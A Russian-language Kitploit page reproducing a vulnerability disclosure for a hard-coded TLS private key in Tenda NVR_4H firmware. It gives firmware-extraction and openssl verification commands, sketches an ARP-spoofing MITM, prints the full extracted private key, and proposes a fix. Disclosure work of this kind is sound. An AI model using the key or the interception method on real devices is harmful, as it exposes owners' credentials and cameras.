Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-79551-Tenda — Tenda Technology Co., Ltd NVR_4H: CH3 v2.1.V27.5.58.6 содержит жестко закодированный криптографический ключ. | Kitploit
Инструменты/GitHubGitHub/snyi001/cve-2026-79551-tenda
Безопасность встроенных системБезопасность IoTАнализ уязвимостейОбратная инженерияСбор информацииКриптографияБезопасность оборудования и IoTСтатьи и ИсследованияАнализ Прошивок
GitHubsnyi001/cve-2026-79551-tenda

CVE-2026-79551-Tenda

2720 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Tenda Technology Co., Ltd NVR_4H: CH3 v2.1.V27.5.58.6 содержит жестко закодированный криптографический ключ.

Репозиторий

CVE-2026-79551 Жёстко закодированный закрытый ключ TLS в Tenda

CNVD ID: CNVD-2026-25884

Производитель: Tenda Technology Co., Ltd.

Продукт: сетевой видеорегистратор NVR_4H (аппаратная версия CH3V2.1)

Прошивка: V27.5.58.6

Класс: CWE-321 — Использование жёстко закодированного криптографического ключа

Обзор

Прошивка NVR_4H хранит пару ключей ECDSA в своём read-only разделе user-x.squashfs (монтируется в /opt/app/): закрытый ключ в /etc/privkey.pem и соответствующий самоподписанный сертификат в /etc/cacert.pem. Оба были сгенерированы один раз во время сборки и вшиты в образ, поэтому каждое устройство с версией V27.5.58.6 поставляется с одним и тем же закрытым ключом.

Образ прошивки свободно скачивается с сайта Tenda. Любой, кто его распакует, получает рабочий закрытый ключ для HTTPS-интерфейса каждого NVR_4H на этой версии. Злоумышленник в той же сети (LAN, Wi-Fi или устройство, доступное из интернета) может поставить прокси между браузером администратора и NVR с помощью ARP-спуфинга или отравления DNS, предъявить подлинный сертификат Tenda с извлечённым ключом, и браузер не покажет никакого предупреждения. Вся сессия после этого читается и изменяется в реальном времени: вход администратора, токены сессии, учётные данные RTSP камер, конфигурация устройства.

Затронутые файлы

ФайлОписание
/etc/privkey.pem302-байтовый EC закрытый ключ (P-256)
/etc/cacert.pem802-байтовый самоподписанный сертификат, O=Tenda, OU=Video Surveillance, CN=www.tenda.com.cn

Воспроизведение

Контейнер прошивки — это ZIP-архив со смещением 0xBBB:

# 1. unpack the firmware
binwalk -e ted.bin

cd ted.bin.extracted/BBB

# 2. strip the 64-byte proprietary header
dd if=user-x.squash.img of=pure_system.squashfs bs=1 skip=64

# 3. unpack the filesystem
unsquashfs pure_system.squashfs

# 4. locate the key material
find squashfs-root -name "*.pem"
# squashfs-root/etc/cacert.pem
# squashfs-root/etc/privkey.pem

Чтобы убедиться, что закрытый ключ принадлежит поставляемому сертификату, экспортируйте открытый ключ из обоих и сравните:

openssl ec -in squashfs-root/etc/privkey.pem -pubout > pub_from_priv.pem
openssl x509 -in squashfs-root/etc/cacert.pem -pubkey -noout > pub_from_cert.pem

diff pub_from_priv.pem pub_from_cert.pem
# no output

sha256sum pub_from_priv.pem pub_from_cert.pem
# 80b6aa4b9e8f4cd30e857ff5b9bfcf7e0227e268f4d397efdaffe37d4b0e9bcc  (both files)

Ключ также работает прямо из образа:

openssl s_server \
  -key  squashfs-root/etc/privkey.pem \
  -cert squashfs-root/etc/cacert.pem \
  -accept 4433 -www
# ACCEPT — TLS server starts with no errors

Один ключ для каждого устройства

  • user-x.squashfs — это сжатая read-only файловая система, поэтому её содержимое побайтово идентично на каждом выпущенном устройстве.

  • Нигде в образе нет индивидуальной настройки для каждого устройства: ни init-скриптов, ни бинарника openssl, ни генерации ключей при первой загрузке. Единственные строки, связанные с генерацией ключей, во всей файловой системе происходят из hostapd и wpa_supplicant, которые не имеют никакого отношения к HTTPS-серверу.

  • /etc/ внутри squashfs содержит всего четыре файла, два из которых — этот ключевой материал. Оба несут временную метку сборки squashfs, а не времени выполнения.

Извлечённый сертификат и ключ

Сертификат — X.509 v1, самоподписанный (issuer = subject = C=CN, ST=ZJ, L=HZ, O=Tenda, OU=Video Surveillance, CN=www.tenda.com.cn), действителен с 1999-12-31 по 2049-12-18, без SAN и без расширений key usage. Серийный номер 1c:f2:13:a0:7b:e2:7c:91:63:f3:e0:0c:be:0f:0d:42:2e:6b:e8:69 фиксирован и идентичен на всех устройствах.

Извлечённый закрытый ключ, пригодный к использованию как есть:

-----BEGIN EC PARAMETERS-----
BggqhkjOPQMBBw==
-----END EC PARAMETERS-----
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIHQLiI/KUzk/hXX4BZVuujlQMit341WWi3sTpLlGQVcaoAoGCCqGSM49
AwEHoUQDQgAEqFt550/3k/nGoYr4CFeRtvDf9HuZpHbb5FecKweJtFH7a5hBNFqq
qckxILVt8KefGENelZgPdEGNU6VcXyTORA==
-----END EC PRIVATE KEY-----

Влияние

Конфиденциальность и целостность всего HTTPS-интерфейса управления теряются для каждого устройства на этой версии прошивки перед любым, кто скачал публичный образ. На стороне цели не требуется никаких привилегий и никакого взаимодействия с пользователем — достаточно пассивного MITM. Украденные учётные данные администратора дают полный контроль над регистратором и его камерами.

Исправление

Генерировать уникальную пару ключей для каждого устройства при первой загрузке и хранить её на записываемом разделе (например, в области JFFS2 в /opt/sav/), а privkey.pem и cacert.pem полностью удалить из read-only образа. В долгосрочной перспективе — выпускать сертификаты для каждого устройства, подписанные на этапе производства.

Скачать инструмент